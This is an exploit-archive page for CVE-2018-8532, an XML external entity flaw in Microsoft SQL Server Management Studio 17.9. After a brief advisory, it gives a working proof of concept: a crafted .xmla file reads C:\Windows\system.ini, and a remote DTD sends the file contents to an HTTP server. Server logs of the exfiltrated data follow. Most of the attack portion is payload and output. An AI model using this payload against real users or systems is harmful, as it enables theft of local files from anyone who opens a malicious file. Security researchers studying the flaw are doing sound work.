Microsoft sql server management studio 17.9 .xmla xml external entity injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-10-11 | Type : local | Platform : windows
This exploit / vulnerability Microsoft sql server management studio 17.9 .xmla xml external entity injection is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xmla' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)
# CVE: CVE-2018-8532
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XMLA-FILETYPE-XML-INJECTION-CVE-2018-8532.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1132/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532)
# so this is marked as verified

# Security Issue
# This vulnerability allows remote attackers to disclose sensitive information on
# vulnerable installations of Microsoft SQL Server Management Studio. User interaction is required to
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

# The specific flaw exists within the handling of XMLA files. Due to the improper restriction of
# XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser to
# access the URI and embed the contents back into the XML document for further processing. An attacker can leverage
# this vulnerability to disclose information in the context of the current process.

# PoC
# 1) python -m SimpleHTTPServer
# 2) "test.xmla"

<?xml version="1.0"?>
<!DOCTYPE tastyexploits [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 3) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# Result:

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -